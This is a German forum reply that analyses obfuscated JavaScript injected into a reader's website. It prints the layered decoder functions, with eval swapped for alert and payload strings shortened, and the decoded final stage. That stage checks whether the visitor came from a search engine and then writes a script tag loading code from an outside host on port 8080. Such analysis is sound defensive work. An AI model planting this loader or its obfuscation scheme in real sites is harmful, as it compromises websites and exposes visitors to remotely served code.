hallo,
Aber es passiert irgendwie nichts zumindest nichts sichtbares.
Kann auch nicht, weil das was auf/in deiner Seite gelandet ist (wie bereits erwähnt) nicht vollständig ist. Woher es kommt kann ich dir nicht sagen, was es macht schon.
es handelt sich um eine dreimal in sich selbst "verschleierte"/"codierte" (?) Funktion, die sich erst selbst "entschleiert"/"dekodiert" (?) und dann einen (ich vermute mal) Banner in deine seite schreiben will.
der code:
//ursprüngliche funktion
function r(iN,k) {
if (!k) {
k=';h8ZF{5+*-2Ci?OufQ#jX(ErIt:AJ6`)/Sq[|k4v]Ygl.1T^wM_sN0xzyULRa7%&';
}
var G;
var HL='';
for (var C=0;C<iN.length;C+=4) {
G=(k.indexOf(iN.charAt(C))&255)<<18|(k.indexOf(iN.charAt(C+1))&255)<<12|(k.indexOf(iN.charAt(C+2))&255)<<(6)|k.indexOf(iN.charAt(C+3))&255;
HL+=String.fromCharCode((G&16711680)>>16,(G&65280)>>8,G&255);
}
alert(HL.substring(0,HL.length-(2)));} //eigentlich eval(...)
r('tv(TIzQYAxy/f#SYEqM]2r1Yt'+/*vielezeichen*/+'8txir(j`|h;Xx-/C#1Z6j7h#5wMj5-kj_ts?xtNJz6*-k].jqJYO_;/');
//erstes dekodieren
function A(iZ,h) {
if (!h) {
h= 'r`q?7zy8E_&206m]+eSZbWORtPiJALTnN@xCws5HYljg,c:U;QV-vu4{h#f31GD=';
}
var O;
var RK='';
for (var D=0;D<iZ.length;D+=4) {
O=(h.indexOf(iZ.charAt(D))&255)<<18|(h.indexOf(iZ.charAt(D+1))&255)<<12|(h.indexOf(iZ.charAt(D+2))&255)<<(6)|h.indexOf(iZ.charAt(D+3))&255;RK+=String.fromCharCode((O&16711680)>>16,(O&65280)>>8,O&255);
}
alert(RK.substring(0,RK.length-(2))); //eigentlich eval(...)
}
A('+SNH6zLj+HcTT{t=bV1Y2HY3'+/*vielezeichen*/+'&v1uSz@@Sb`-+Cu?AHl1LbeO&s7ftswH&Z,N');
//zweites dekodieren
A('4WjB{^{v?S/(.z;r.,pa4mDBA,'+/*vielezeichen*/+'@sB=Crz|uDV*Q:bY')
//et voila: was eigentlich passieren soll
var r = document.referrer;
if (r.indexOf("google") != -1 ||
r.indexOf("live") != -1 ||
r.indexOf("yahoo") != -1 ||
r.indexOf("search") != -1 ||
r.indexOf("result") != -1 ||
r.indexOf("cache") != -1 ||
r.indexOf("translate") != -1) {
document.write('<sc'+'ript src="http://personal.count.for.my.banner.here.is.banner-count.com:8080/cgi-bin/banner-counter.pl?id=111117&ref='+escape(document.referrer)+'"></sc'+'ript>')
}
Was ich mich nur frage: wozu diese Abfrage bevor der Banner geschrieben wird?
gruß,
pD